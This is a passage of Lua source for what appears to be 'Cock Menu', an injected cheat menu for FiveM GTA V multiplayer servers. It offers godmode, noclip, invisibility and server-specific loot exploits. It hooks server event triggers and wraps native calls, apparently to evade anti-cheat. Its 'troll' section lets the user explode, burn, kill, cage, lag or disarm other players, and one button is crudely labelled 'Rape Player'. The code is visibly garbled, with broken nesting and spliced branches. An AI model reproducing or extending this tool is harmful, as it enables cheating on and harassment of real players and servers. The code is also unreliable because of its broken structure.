Fatasf.n.CreateVehicle(
VehicleHash,
x,
y,
z + 20.0,
0.0,
true,
false
)
CockT.Inv["Invoke"]
(CockT.Natives["SetVehicleColours"], SpawnedVeh, cockmenu.p, cockmenu.s)
Fatasf.n.SetVehicleNumberPlateText(SpawnedVeh, "Cock
Menu")
Fatasf.n.SetEntityVelocity(SpawnedVeh, 0.0, 0.0,
-100.0)
end
end
)
end,
instructbutton = function()
local dW = {
{["label"] = "Change Speed", ["button"] = "~INPUT_SPRINT~"},
{["label"] = "Down", ["button"] = "~INPUT_HUD_SPECIAL~"},
{["label"] = "Up", ["button"] = "~INPUT_COVER~"},
{["label"] = "Back", ["button"] = "~INPUT_MOVE_DOWN_ONLY~"},
{["label"] = "Forward", ["button"] = "~INPUT_MOVE_UP_ONLY~"}
}
dX = CockT.Inv["Invoke"](CockT.Natives["RequestScaleformMovie"],
"instructional_buttons")
while not CockT.Inv["Invoke"]
(CockT.Natives["HasScaleformMovieLoaded"], dX) do
CockT.Inv["Wait"](0)
end
for dY, dZ in CockT.Math.ipairs(dW) do
CockT.Inv["Invoke"]
(CockT.Natives["PushScaleformMovieFunction"], dX, "SET_DATA_SLOT")
CockT.Inv["Invoke"]
(CockT.Natives["PushScaleformMovieFunctionParameterInt"], dY - 1)
CockT.Inv["Invoke"]
(CockT.Natives["PushScaleformMovieMethodParameterButtonName"], dZ["button"])
CockT.Inv["Invoke"]
(CockT.Natives["PushScaleformMovieFunctionParameterString"], dZ["label"])
CockT.Inv["Invoke"]
(CockT.Natives["PopScaleformMovieFunctionVoid"])
end
CockT.Inv["Invoke"](CockT.Natives["PushScaleformMovieFunction"],
dX, "DRAW_INSTRUCTIONAL_BUTTONS")
CockT.Inv["Invoke"]
(CockT.Natives["PushScaleformMovieFunctionParameterInt"], -1)
CockT.Inv["Invoke"]
(CockT.Natives["PopScaleformMovieFunctionVoid"])
CockT.Inv["Invoke"]
(CockT.Natives["DrawScaleformMovieFullscreen"], dX, 255, 255, 255, 255)
end,
GiveAllWeapons = function()
for weapo = 1, #CockT.Weapons do
Fatasf.n.GiveDelayedWeaponToPed(Fatasf.n.PlayerPedId(),
Fatasf.n.GetHashKey("WEAPON_" .. CockT.Weapons[weapo]), 255, false)
end
end,
RemoveAllWeapons = function()
CockT.Inv["Invoke"](CockT.Natives["RemoveAllPedWeapons"],
Fatasf.n.PlayerPedId(), false)
end,
CamFwdVect = function(camf)
local coords = Fatasf.n.GetCamCoord(camf)
local rot = Fatasf.n.GetCamRot(camf, 0)
return CockT.Global.RotToQuat(rot) * CockT.Strings.vector3(0.0,
1.0, 0.0)
end,
CamRightVect = function(camf)
local coords = Fatasf.n.GetCamCoord(camf)
local rot = Fatasf.n.GetCamRot(camf, 0)
local qrot = quat(0.0, CockT.Strings.vector3(rot.x, rot.y,
rot.z))
return CockT.Global.RotToQuat(rot) * CockT.Strings.vector3(1.0,
0.0, 0.0)
end,
LoadGif1 = function()
Fatasf.n.CreateRuntimeTextureFromDuiHandle(Fatasf.n.CreateRuntimeTxd("cockmenuuu"),
"menu_gif",
Fatasf.n.GetDuiHandle(Fatasf.n.CreateAnDui("https://cdn.upload.systems/uploads/agUi
PTGO.gif", 400, 107)))
end,
LoadGifMoscow = function()
-- no polish cow ;(
--
[[ Fatasf.n.CreateRuntimeTextureFromDuiHandle(Fatasf.n.CreateRuntimeTxd("cock_mosco
w"), "menu_gif",
Fatasf.n.GetDuiHandle(Fatasf.n.CreateAnDui("https://cock.menu/music/mp4moscow.mp4",
640, 360))) ]]
end,
LoadGifLSC = function()
Fatasf.n.CreateRuntimeTextureFromDuiHandle(Fatasf.n.CreateRuntimeTxd("cock_lsc"),
"menu_gif",
Fatasf.n.GetDuiHandle(Fatasf.n.CreateAnDui("https://cdn.upload.systems/uploads/cdaO
vZf1.gif", 400, 107)))
end,
LoadGif2 = function()
Fatasf.n.CreateRuntimeTextureFromDuiHandle(Fatasf.n.CreateRuntimeTxd("cockmenuuu"),
"menu_gif",
Fatasf.n.GetDuiHandle(Fatasf.n.CreateAnDui("https://cdn.upload.systems/uploads/HbGu
dvZJ.gif", 400, 235)))
end,
LoadGif3 = function()
Fatasf.n.CreateRuntimeTextureFromDuiHandle(Fatasf.n.CreateRuntimeTxd("cockmenuuu"),
"menu_gif",
Fatasf.n.GetDuiHandle(Fatasf.n.CreateAnDui("https://cdn.upload.systems/uploads/hOK3
aUyT.gif", 400, 107)))
end,
LoadGif4 = function()
Fatasf.n.CreateRuntimeTextureFromDuiHandle(Fatasf.n.CreateRuntimeTxd("cockmenuuu"),
"menu_gif",
Fatasf.n.GetDuiHandle(Fatasf.n.CreateAnDui("https://cdn.upload.systems/uploads/UL3Y
4XZH.gif", 500, 281)))
end,
BurnPlayerCar = function(player)
local gox_dict = "core"
Fatasf.n.RequestNamedPtfxAsset(gox_dict)
while not Fatasf.n.HasNamedPtfxAssetLoaded(gox_dict) do
CockT.Inv["Wait"](500)
end
if
Fatasf.n.IsPedSittingInVehicle(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer),
Fatasf.n.GetVehiclePedIsIn(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer),
false)) then
Fatasf.n.UseParticleFxAsset(gox_dict)
Fatasf.n.StartNetworkedParticleFxNonLoopedAtCoord("ent_sht_petrol_fire",Fatasf.n.Ge
tEntityCoords(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer)),0,0,0,1.0,0,0,0)
end
end,
SpawnBitch = function(playerped)
if
Fatasf.n.IsPedSittingInVehicle(Fatasf.n.GetPlayerPed(playerped),
Fatasf.n.GetVehiclePedIsIn(Fatasf.n.GetPlayerPed(playerped), false)) then
local veh =
Fatasf.n.GetVehiclePedIsUsing(Fatasf.n.GetPlayerPed(playerped))
local model = Fatasf.n.GetHashKey("s_f_y_stripper_01")
Fatasf.n.RequestModel(model)
while not Fatasf.n.HasModelLoaded(model) do
CockT.Inv["Wait"](1)
end
local cpiv = Fatasf.n.CreatePedInsideVehicle(veh, 4, model,
0, true, false)
end
end,
startPointing = function()
local ped = Fatasf.n.PlayerPedId()
Fatasf.n.RequestAnimDict("anim@mp_point")
while not Fatasf.n.HasAnimDictLoaded("anim@mp_point") do
CockT.Inv["Wait"](0)
end
Fatasf.n.SetPedCurrentWeaponVisible(ped, 0, 1, 1, 1)
Fatasf.n.SetPedConfigFlag(ped, 36, 1)
Fatasf.n.TaskMoveNetworkByName(ped, "task_mp_pointing", 0.5,
0, "anim@mp_point", 24)
Fatasf.n.RemoveAnimDict("anim@mp_point")
end
stopPointing = function()
local ped = Fatasf.n.PlayerPedId()
Fatasf.n.RequestTaskMoveNetworkStateTransition(ped, "Stop")
if not Fatasf.n.IsPedInjured(ped) then
Fatasf.n.ClearPedSecondaryTask(ped)
end
if not Fatasf.n.IsPedInAnyVehicle(ped, 1) then
Fatasf.n.SetPedCurrentWeaponVisible(ped, 1, 1, 1, 1)
end
Fatasf.n.SetPedConfigFlag(ped, 36, 0)
Fatasf.n.ClearPedSecondaryTask(Fatasf.n.PlayerPedId())
end
CockT.Inv["Thread"](function()
while true do
CockT.Inv["Wait"](0)
if CockT.Inv["Invoke"](CockT.Natives['IsPedOnFoot'],
Fatasf.n.PlayerPedId()) and not mp_pointing then
CockT.Inv["Wait"](200)
startPointing()
mp_pointing = true
end
if
Fatasf.n.IsTaskMoveNetworkActive(Fatasf.n.PlayerPedId()) and not mp_pointing then
stopPointing()
end
if
Fatasf.n.IsTaskMoveNetworkActive(Fatasf.n.PlayerPedId()) then
if not CockT.Inv["Invoke"]
(CockT.Natives['IsPedOnFoot'], Fatasf.n.PlayerPedId()) then
stopPointing()
else
local ped = Fatasf.n.PlayerPedId()
local camPitch =
Fatasf.n.GetGameplayCamRelativePitch()
if camPitch < -70.0 then
camPitch = -70.0
elseif camPitch > 42.0 then
camPitch = 42.0
end
camPitch = (camPitch + 70.0) / 112.0
local camHeading =
Fatasf.n.GetGameplayCamRelativeHeading()
local cosCamHeading = Cos(camHeading)
local sinCamHeading = Sin(camHeading)
if camHeading < -180.0 then
camHeading = -180.0
elseif camHeading > 180.0 then
camHeading = 180.0
end
camHeading = (camHeading + 180.0) / 360.0
local blocked = 0
local nn = 0
local coords =
Fatasf.n.GetOffsetFromEntityInWorldCoords(ped, (cosCamHeading * -0.2) -
(sinCamHeading * (0.4 * camHeading + 0.3)), (sinCamHeading * -0.2) + (cosCamHeading
* (0.4 * camHeading + 0.3)), 0.6)
local ray =
Fatasf.n.StartShapeTestCapsule(coords.x, coords.y, coords.z - 0.2, coords.x,
coords.y, coords.z + 0.2, 0.4, 95, ped, 7);
local nn,blocked,coords,coords =
Fatasf.n.GetRaycastResult(ray)
Fatasf.n.SetTaskMoveNetworkSignalFloat(ped,
"Pitch", camPitch)
Fatasf.n.SetTaskMoveNetworkSignalFloat(ped,
"Heading", camHeading * -1.0 + 1.0)
Fatasf.n.SetTaskMoveNetworkSignalBool(ped,
"isBlocked", blocked)
Fatasf.n.SetTaskMoveNetworkSignalBool(ped,
"isFirstPerson", _cit_.InvokeNative(0xEE778F8C7E1142E2,
_cit_.InvokeNative(0x19CAFA3C87F7C2FF)) == 4)
end
end
end
end)
end,
CurrentOption = function()
if currentMenu and optionCount ~= 0 then
return currentMenu.currentOption
end
return nil
end,
IsItemHovered = function()
if not currentMenu or optionCount == 0 then
return false
end
return currentMenu.currentOption == optionCount
end,
IsItemSelected = function()
return currentKey == keys.select and
CockMeni.Functions.IsItemHovered()
end,
SetTitle = function(id, title)
tf.setMenuProperty(id, "title", title)
end,
SetSubTitle = function(id, text)
tf.setMenuProperty(id, "subTitle", CockT.Strings.upper(text))
end,
SetMenuStyle = function(id, style)
tf.setMenuProperty(id, "style", style)
end,
SetTitleColor = function(id, r, g, b, a)
tf.setStyleProperty(id, "titleColor", {r, g, b, a})
end,
SetTitleBackgroundColor = function(id, r, g, b, a)
tf.setStyleProperty(id, "titleBackgroundColor", {r, g, b, a})
end,
SetTitleBackgroundSprite = function(id, dict, name)
Fatasf.n.RequestStreamedTextureDict(dict)
tf.setStyleProperty(id, "titleBackgroundSprite", {dict = dict,
name = name})
end,
natRe = function()
local entcord = Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId())
local cords = {
x = CockT.Global.mathround(entcord.x, 1),
y = CockT.Global.mathround(entcord.y, 1),
z = CockT.Global.mathround(entcord.z, 1)
}
CockT.Global.resPe(Fatasf.n.PlayerPedId(), cords, 0)
Fatasf.n.StopScreenEffect("DeathFailOut")
end,
UpdateAllTriggers = function()
Fatasf.n.Leprint("^1[^2CockMenu Logs^1] ^7Loading dynamic
triggers...")
CockT.Inv["Thread"](
function()
CockT.Inv["Wait"](500)
local fitimeone = Fatasf.n.GetResources()
for kk, v in CockT.Math.ipairs(CockT.DynamicTriggers) do
for i = 0, #fitimeone do
local script = CockT.Strings.lower(fitimeone[i])
if type(v.resourcelooklike) == "table" then
for E, pirs in
CockT.Math.pairs(v.resourcelooklike) do
if CockT.Strings.find(script, pirs) and
Fatasf.n.GetResourcestatus(fitimeone[i]) then
v.resource = fitimeone[i]
end
end
else
if CockT.Strings.find(script,
v.resourcelooklike) and Fatasf.n.GetResourcestatus(fitimeone[i]) then
v.resource = fitimeone[i]
end
end
end
end
CockT.Inv["Wait"](100)
for k, v in CockT.Math.pairs(CockT.DynamicTriggers) do
Functions.f.GetAllTriggers(v)
CockT.Inv["Wait"](15)
end
Fatasf.n.Leprint("^1[^2CockMenu Logs^1] ^7Loaded!")
end
)
end,
}
}
local CockKeybinds = {
Menu = {
OpenMenuKey = {["Label"] = nil, ["Value"] = nil},
Noclip = {["Label"] = 'NONE', ["Value"] = 12345},
Heal = {["Label"] = 'NONE', ["Value"] = 12345},
Revive = {["Label"] = 'NONE', ["Value"] = 12345},
Armour = {["Label"] = 'NONE', ["Value"] = 12345},
Freecam = {["Label"] = 'NONE', ["Value"] = 12345},
Godmode = {["Label"] = 'NONE', ["Value"] = 12345},
fixveh = {["Label"] = 'NONE', ["Value"] = 12345},
givevintage = {["Label"] = 'NONE', ["Value"] = 12345},
givepistol = {["Label"] = 'NONE', ["Value"] = 12345},
invisible = {["Label"] = 'NONE', ["Value"] = 12345},
unlockveh = {["Label"] = 'NONE', ["Value"] = 12345},
},
}
CockMeni.Functions.UpdateAllTriggers()
CockMeni.Functions.LoadGif1()
CockMeni.Functions.LoadGifLSC()
Cock.Menu.SetMenuTitleBackgroundSprite =
CockMeni.Functions.SetTitleBackgroundSprite
Cock.Menu.SetMenuTitleBackgroundColor =
CockMeni.Functions.SetTitleBackgroundColor
CockMeni.Functions.SetMenuTitleColor = CockMeni.Functions.SetTitleColor
Cock.Menu.SetMenuSubTitle = CockMeni.Functions.SetSubTitle
Cock.Menu.SetMenuTitle = CockMeni.Functions.SetTitle
Cock.Menu.SpawnInCar = true
CockMenu.Freecam = false
CockMeni.Functions.CurrentParticle = 1
CockMeni.Functions.ParticleModes = {
"Blood",
"Fireworks", "Cartoon",
"Explode", "Smoke",
}
---
menus = { }
keys = { down = 187, up = 188, v2 = 189, v3 = 190, select = 191, back =
194 }
optionCount = 0
LastPressedKey = 0
currentKey = nil
currentMenu = nil
toolTipWidth = 0.153
spriteWidth = 0.027
spriteHeight = spriteWidth * GetAspectRatio()
titleHeight = 0.08--0.101
titleYOffset = 0.021
titleFont = 1
titleScale = 1.0
buttonHeight = 0.033
buttonFont = 4
buttonScale = 0.351
buttonTextXOffset = 0.005
buttonTextYOffset = 0.005
buttonSpriteXOffset = 0.002
buttonSpriteYOffset = 0.005
red2 = 131
green2 = 219
blue2 = 248
rgb2 = {r=red2, g=green2, b=blue2}
focusColourT = { rgb2.r, rgb2.g, rgb2.b, 255}
defaultStyle = {
x = 0.0175,
y = 0.025,
width = 0.2,
maxOptionCountOnScreen = 10,
titleColor = { 0, 0, 0, 255 },
titleBackgroundColor = {0, 213, 255, 255, 255 },
titleBackgroundSprite = nil,
subTitleColor = { 0, 213, 255, 255, 255 },
textColor = { 255, 255, 255, 255 },
subTextColor = { 189, 189, 189, 255 },
focusTextColor = { 0, 0, 0, 255 },
backgroundColor = { 0, 0, 0, 190 },
backgroundColourT = focusColourT,
subTitleBackgroundColor = { 0, 0, 0, 255 },
buttonPressedSound = { name = 'SELECT', set =
'HUD_FRONTEND_DEFAULT_SOUNDSET' }, --https://pastebin.com/0neZdsZ5
}
local red = 131
local green = 219
local blue = 248
local rgb = {r=red, g=green, b=blue}
defaultStyle.focusColor = { rgb.r, rgb.g, rgb.b, 170}
Cock.Menu.Begin = tf.IsMenuOpened
Cock.Menu.End = CockMeni.Functions.Display
CockT.Inv["Thread"](function()
while CockMenu.MenuEnabled do
CockT.Inv["Wait"](0)
local value, label = Functions.f.BindOnStart()
CockKeybinds.Menu.OpenMenuKey["Label"] = label
CockKeybinds.Menu.OpenMenuKey["Value"] = value
break
end
end)
CockT.Inv["Thread"](function()
local CreateMenus = {"OnlineMenuButtons", "PlaySounds", "lscustoms",
"performance", "exterior", "resfiles", "WeaponsAimbot", "WeaponsCustoms", "START",
"self", "online", "vehicle", "weapons", "visuals", "destroyer", "Glife", "lua",
"dumper", "keybinds", "addons", "settings", "music"}
tf.CreateMenu("START", "", "Cock Menu
~b~\100\105\115\99\111\114\100\46\103\103\47\115\80\72\87\55\67\84\84\90\106")
tf.CreateSubMenu("self", "START", "Self Options")
tf.CreateSubMenu("online", "START", "Online Players")
tf.CreateSubMenu("OnlineMenuButtons", "online", "Online Menu")
tf.CreateSubMenu("PlaySounds", "OnlineMenuButtons", "Sounds")
for k, v in CockT.Math.pairs(CreateMenus) do
CockMeni.Functions.SetTitleBackgroundSprite(v, "cockmenuuu",
"menu_gif")
CockMeni.Functions.SetTitleBackgroundSprite("lscustoms", "cock_lsc",
"menu_gif")
CockMeni.Functions.SetTitleBackgroundSprite("performance",
"cock_lsc", "menu_gif")
CockMeni.Functions.SetTitleBackgroundSprite("exterior", "cock_lsc",
"menu_gif")
end
while CockMenu.MenuEnabled do
CockT.Inv["Wait"](0)
local GlifeScripts = {'gtalife-z'}
CockMeni.Functions.Display()
if tf.IsMenuOpened("START") then
if CockMeni.Functions.MenuButton("Self Options", "self", ' ')
then end
if CockMeni.Functions.MenuButton("Online Players", "online", '
') then end
if CockMeni.Functions.MenuButton("Vehicle", "vehicle", ' ')
then end
if CockMeni.Functions.MenuButton("Weapons", "weapons", ' ')
then end
if CockMeni.Functions.MenuButton("Visual", "visuals", ' ')
then end
if CockMeni.Functions.MenuButton("Destroyer", "destroyer", '
') then end
for k, v in CockT.Math.pairs(GlifeScripts) do
if CockT.Global.CheckIfResourceExist(v) then
if CockMeni.Functions.MenuButton("Glife", "Glife", '
') then
end
end
end
if tf.IsMenuOpened("Glife") then
if CockMeni.Functions.CheckBox("Get loot (~r~Glife~s~)",
Cock.Menu.getlootglife) then
Cock.Menu.getlootglife = not Cock.Menu.getlootglife
end
if CockMeni.Functions.CheckBox("Get loot #2
(~r~Glife~s~) [More safer]", Cock.Menu.getlootglife2) then
Cock.Menu.getlootglife2 = not
Cock.Menu.getlootglife2
end
if CockMeni.Functions.CheckBox("Godmode (~r~Glife~s~)",
Cock.Menu.godmodeglife) then
Cock.Menu.godmodeglife = not Cock.Menu.godmodeglife
end
if CockMeni.Functions.CheckBox("Infinite Stamina",
Cock.Menu.maxstamina) then
Cock.Menu.maxstamina = not Cock.Menu.maxstamina
elseif CockMeni.Functions.CheckBox("Super jump",
Cock.Menu.SJump) then
Cock.Menu.SJump = not Cock.Menu.SJump
elseif CockMeni.Functions.CheckBox("Extra jump",
Cock.Menu.ExtraJump) then
Cock.Menu.ExtraJump = not Cock.Menu.ExtraJump
elseif CockMeni.Functions.CheckBox("Infinite combat
roll", Cock.Menu.infroll) then
Cock.Menu.infroll = not Cock.Menu.infroll
elseif CockMeni.Functions.CheckBox("Super Run",
Cock.Menu.superrun) then
Cock.Menu.superrun = not Cock.Menu.superrun
elseif CockMeni.Functions.CheckBox("Auto bunnyhop",
Cock.Menu.taskjump) then
Cock.Menu.taskjump = not Cock.Menu.taskjump
elseif CockMeni.Functions.CheckBox("Noclip",
Cock.Menu.NClip) then
Cock.Menu.NClip = not Cock.Menu.NClip
elseif CockMeni.Functions.ComboBox("Noclip speed",
CockMenu.ComboBoxesT.NCSpeed, CockMenu.ComboBoxesT.NCSpeedMultIndex,
CockMenu.ComboBoxesT.NCSpeedLengMult, function(currentIndex, selIndex)
CockMenu.ComboBoxesT.NCSpeedMultIndex = currentIndex
CockMenu.ComboBoxesT.NCSpeedLengMult = currentIndex
end) then
elseif CockMeni.Functions.CheckBox("Anti AFK",
Cock.Menu.AFK) then
Cock.Menu.AFK = not Cock.Menu.AFK
elseif tf.CSeparator("~y~OTHERS", "") then
end
if CockMeni.Functions.ComboBox("Health:",
CockMenu.ComboBoxesT.HpValue, CockMenu.ComboBoxesT.HpMultIndex,
CockMenu.ComboBoxesT.HpLengMult, function(currentIndex, selIndex)
CockMenu.ComboBoxesT.HpMultIndex = currentIndex
CockMenu.ComboBoxesT.HpLengMult = currentIndex
end) then
Fatasf.n.SetEntityHealth(Fatasf.n.PlayerPedId(),
CockMenu.ComboBoxesT.HpSet[CockMenu.ComboBoxesT.HpMultIndex])
end
if CockMeni.Functions.ComboBox("Armour:",
CockMenu.ComboBoxesT.ArmourValue, CockMenu.ComboBoxesT.ArmMultIndex,
CockMenu.ComboBoxesT.ArmLengMult, function(currentIndex, selIndex)
CockMenu.ComboBoxesT.ArmMultIndex = currentIndex
CockMenu.ComboBoxesT.ArmLengMult = currentIndex
end) then
Fatasf.n.SetPedArmour(Fatasf.n.PlayerPedId(),
CockMenu.ComboBoxesT.ArmSet[CockMenu.ComboBoxesT.ArmMultIndex])
end
if CockMeni.Functions.CheckBox("Godmode",
Cock.Menu.Godmode) then
Cock.Menu.Godmode = not Cock.Menu.Godmode
elseif CockMeni.Functions.CheckBox("Semi-Godmode",
Cock.Menu.SemiGodmode) then
Cock.Menu.SemiGodmode = not
Cock.Menu.SemiGodmode
elseif tf.Button('Teleport To Waypoint') then
CockMeni.Functions.TpToWaypoint()
end
if tf.CSeparator("~y~INVISIBLE", "") then
end
if CockMeni.Functions.CheckBox("Invisible",
Cock.Menu.invisible) then
Cock.Menu.invisible = not Cock.Menu.invisible
end
if CockMeni.Functions.ComboBox("Invisible alpha:",
CockMenu.ComboBoxesT.InvsValue, CockMenu.ComboBoxesT.InvsMultIndex,
CockMenu.ComboBoxesT.InvsLengMult, function(currentIndex, selIndex)
CockMenu.ComboBoxesT.InvsMultIndex =
currentIndex
CockMenu.ComboBoxesT.InvsLengMult = currentIndex
end) then
CockT.Inv["Invoke"]
(CockT.Natives['SetEntityAlpha'], Fatasf.n.PlayerPedId(),
CockMenu.ComboBoxesT.InvsSet[CockMenu.ComboBoxesT.InvsMultIndex])
end
if CockMeni.Functions.CheckBox("Fast swim",
Cock.Menu.fastswim) then
Cock.Menu.fastswim = not Cock.Menu.fastswim
end
if CockMeni.Functions.CheckBox("Anti Drowing",
Cock.Menu.antidrowing) then
Cock.Menu.antidrowing = not
Cock.Menu.antidrowing
end
if CockMeni.Functions.CheckBox("Anti Headshot",
Cock.Menu.antihead) then
Cock.Menu.antihead = not Cock.Menu.antihead
end
if CockMeni.Functions.CheckBox("Fake dead",
Cock.Menu.fakedead) then
Cock.Menu.fakedead = not Cock.Menu.fakedead
end
if CockMeni.Functions.ComboBox("Wanted level:",
CockMenu.ComboBoxesT.WantedLVL, CockMenu.ComboBoxesT.WantedLVLMultIndex,
CockMenu.ComboBoxesT.WantedLVLLengMult, function(currentIndex, selIndex)
CockMenu.ComboBoxesT.WantedLVLMultIndex =
currentIndex
CockMenu.ComboBoxesT.WantedLVLLengMult =
currentIndex
end) then
CockT.Inv["Invoke"]
(CockT.Natives['SetPlayerWantedLevel'], Fatasf.n.PlayerId(),
CockMenu.ComboBoxesT.WantedLVL[CockMenu.ComboBoxesT.WantedLVLMultIndex], false)
CockT.Inv["Invoke"]
(CockT.Natives['SetPlayerWantedLevelNow'], Fatasf.n.PlayerId())
end
if CockMeni.Functions.CheckBox("Anti Stungun",
Cock.Menu.antistungun) then
Cock.Menu.antistungun = not
Cock.Menu.antistungun
end
if CockMeni.Functions.CheckBox("No Ragdoll",
Cock.Menu.noragdoll) then
Cock.Menu.antistungun = not Cock.Menu.noragdoll
end
if tf.Button("Random Clothes", "~g~Native") then
CockT.Global.RandomClothes()
end
if tf.Button("Get own ped", "~g~Native") then
local m1 = Functions.f.CustomInput("Ped name",
"a_c_hen", 25)
CockT.Global.GetOwnPed(m1)
end
if CockMeni.Functions.CheckBox("Ghost rider
(~r~Beta~s~)", Cock.Menu.ghostrider) then
Cock.Menu.ghostrider = not Cock.Menu.ghostrider
if Cock.Menu.ghostrider then
local veh =
Functions.f.SpawnVehicle('daemon')
wwa = true
Functions.f.FvckinDooogInvincibleglifeshit(true)
CockT.Inv["Thread"](function()
while wwa do
CockT.Inv["Wait"](0)
Functions.f.RepairVehicle()
Fatasf.n.SetEntityOnlyDamagedByPlayer(veh, true)
Fatasf.n.SetEntityCanBeDamaged(veh,
false)
Fatasf.n.SetEntityInvincible(Fatasf.n.PlayerPedId(), true)
Fatasf.n.SetEntityProofs(veh, false,
true, true, false, false, false, false, false)
Fatasf.n.SetEntityInvincible(veh,
true)
CockT.Inv["Invoke"]
(CockT.Natives['SetPlayerInvincible'], Fatasf.n.PlayerPedId(), true)
local coords =
Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId())
local dict = "core"
Fatasf.n.RequestNamedPtfxAsset(dict)
while not
Fatasf.n.HasNamedPtfxAssetLoaded(dict) do
CockT.Inv["Wait"](0)
end
Fatasf.n.UseParticleFxAsset(dict)
Fatasf.n.StartNetworkedParticleFxNonLoopedAtCoord("ent_sht_petrol_fire", coords.x,
coords.y, coords.z, 0, 0, 0, 2.0, 0, 0, 0)
end
end)
else
Fatasf.n.SetEntityInvincible(Fatasf.n.PlayerPedId(), false)
CockT.Inv["Invoke"]
(CockT.Natives['SetPlayerInvincible'], Fatasf.n.PlayerId(), false)
Fatasf.n.SetEntityOnlyDamagedByPlayer(Fatasf.n.PlayerPedId(), false)
Fatasf.n.SetEntityCanBeDamaged(Fatasf.n.PlayerPedId(), true)
Fatasf.n.SetEntityOnlyDamagedByPlayer(veh,
false)
Fatasf.n.SetEntityCanBeDamaged(veh, true)
Functions.f.FvckinDooogInvincibleglifeshit(false)
end
end
end
if tf.IsMenuOpened("PlaySounds") then
if CockMeni.Functions.ComboBox("Play Sound",
CockMenu.ComboBoxesT.Playsound2, CockMenu.ComboBoxesT.Playsound2MultIndex,
CockMenu.ComboBoxesT.Playsound2LengMult, function(currentIndex, selIndex)
CockMenu.ComboBoxesT.Playsound2MultIndex =
currentIndex
CockMenu.ComboBoxesT.Playsound2LengMult =
currentIndex
end) then
local sound1 = "CANCEL"
local sound2 =
CockMenu.ComboBoxesT.Playsound2[CockMenu.ComboBoxesT.Playsound2MultIndex]
if sound2 == "HUD_MINI_GAME_SOUNDSET" then
sound1 = "CANCEL"
elseif sound2 == "HUD_FRONTEND_DEFAULT_SOUNDSET"
then
sound1 = "CANCEL"
elseif sound2 ==
"MUGSHOT_CHARACTER_CREATION_SOUNDS" then
sound1 = "Take_Picture"
elseif sound2 == "LESTER1A_SOUNDS" then
sound1 = "Virus_Eradicated"
elseif sound2 == "SHORT_PLAYER_SWITCH_SOUND_SET"
then
sound1 = "All"
elseif sound2 == "FM_Events_Sasquatch_Sounds"
then
sound1 = "Frontend_Beast_Frozen_Screen_Loop"
if tf.IsMenuOpened("OnlineMenuButtons") then
if CockMeni.Functions.CheckBox("Spectate",
Cock.Menu.Spectate) then
Cock.Menu.Spectate = not Cock.Menu.Spectate
end
if CockMeni.Functions.CheckBox("Spectate [#2]",
Cock.Menu.Spectate2) then
Cock.Menu.Spectate2 = not Cock.Menu.Spectate2
end
if CockMeni.Functions.CheckBox("Lag player",
Cock.Menu.lagplayer) then
Cock.Menu.lagplayer = not Cock.Menu.lagplayer
end
CockT.Global.TeleportToPlayer(CockT.Global.SelectedPlayer)
end
CockT.Global.CopyOutfit(CockT.Global.SelectedPlayer)
end
if tf.CSeparator("~y~TROLL", "") then
end
if tf.Button('Explode Player', "~y~Semi") then
Fatasf.n.AddExplosion(Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(CockT.Global.S
electedPlayer)),
CockMenu.ComboBoxesT.explosiontype[CockMenu.ComboBoxesT.explosiontypeMultIndex],
100.0, Cock.Menu.Audible, Cock.Menu.IsInvs, 0.0)
end
if CockMeni.Functions.ComboBox("Explode type",
CockMenu.ComboBoxesT.explosiontype, CockMenu.ComboBoxesT.explosiontypeMultIndex,
CockMenu.ComboBoxesT.explosiontypeLengMult, function(currentIndex, selIndex)
CockMenu.ComboBoxesT.explosiontypeMultIndex =
currentIndex
CockMenu.ComboBoxesT.explosiontypeLengMult =
currentIndex
end) then
end
if CockMeni.Functions.CheckBox("Audible",
Cock.Menu.Audible) then
Cock.Menu.Audible = not Cock.Menu.Audible
end
if CockMeni.Functions.CheckBox("Invisible",
Cock.Menu.IsInvs) then
Cock.Menu.IsInvs = not Cock.Menu.IsInvs
end
if tf.Button('Molotov Player', "~y~Semi") then
CockT.Global.MolotovPlayer(CockT.Global.SelectedPlayer)
end
if tf.Button('Cage Player', "~y~Semi") then
CockT.Global.CageNew(CockT.Global.SelectedPlayer)
end
if tf.Button('Rape Player', "~y~Semi") then
CockT.Global.RapeP(CockT.Global.SelectedPlayer)
end
if tf.Button('Clone Player', "~y~Semi") then
CockMeni.Functions.ShitRain(CockT.Global.SelectedPlayer, 'pounder', 5)
CockMeni.Functions.ShitRain(CockT.Global.SelectedPlayer, 'adder', 5)
CockMeni.Functions.ShitRain(CockT.Global.SelectedPlayer, 'Submersible', 5)
CockMeni.Functions.ShitRain(CockT.Global.SelectedPlayer, 'cutter', 5)
CockMeni.Functions.ShitRain(CockT.Global.SelectedPlayer, 'faggio3', 5)
end
CockT.Global.TazePlayer(CockT.Global.SelectedPlayer)
end
CockMeni.Functions.SirensOnPlayer(CockT.Global.SelectedPlayer)
end
if tf.Button('Kill player', "~y~Semi") then
CockMeni.Functions.KillPlayer(CockT.Global.SelectedPlayer)
end
--[[if tf.Button('Silent Kill', "~y~Semi") then
CockMeni.Functions.SilentKill(CockT.Global.SelectedPlayer)
end]]
if tf.Button('Kick from vehicle', "~y~Semi") then
CockT.Global.KickFromVehicle(CockT.Global.SelectedPlayer)
end
if tf.Button('Custom prop', "~y~Semi") then
local object = Functions.f.CustomInput("Custom
prop name", "prop_beach_fire", 25)
CockT.Global.CustomProp(object,
CockT.Global.SelectedPlayer)
end
if tf.Button('Give all weapons', "~r~Risky") then
for weapo = 1, #CockT.Weapons do
Fatasf.n.GiveDelayedWeaponToPed(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer),
Fatasf.n.GetHashKey("WEAPON_" .. CockT.Weapons[weapo]), 150, false)
end
end
if tf.Button('Remove all weapons', "~r~Risky") then
for weapo = 1, #CockT.Weapons do
CockT.Inv["Invoke"]
(CockT.Natives["RemoveAllPedWeapons"],
Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer), false)
end
end
if tf.Button('Give weapon', "~y~Semi") then
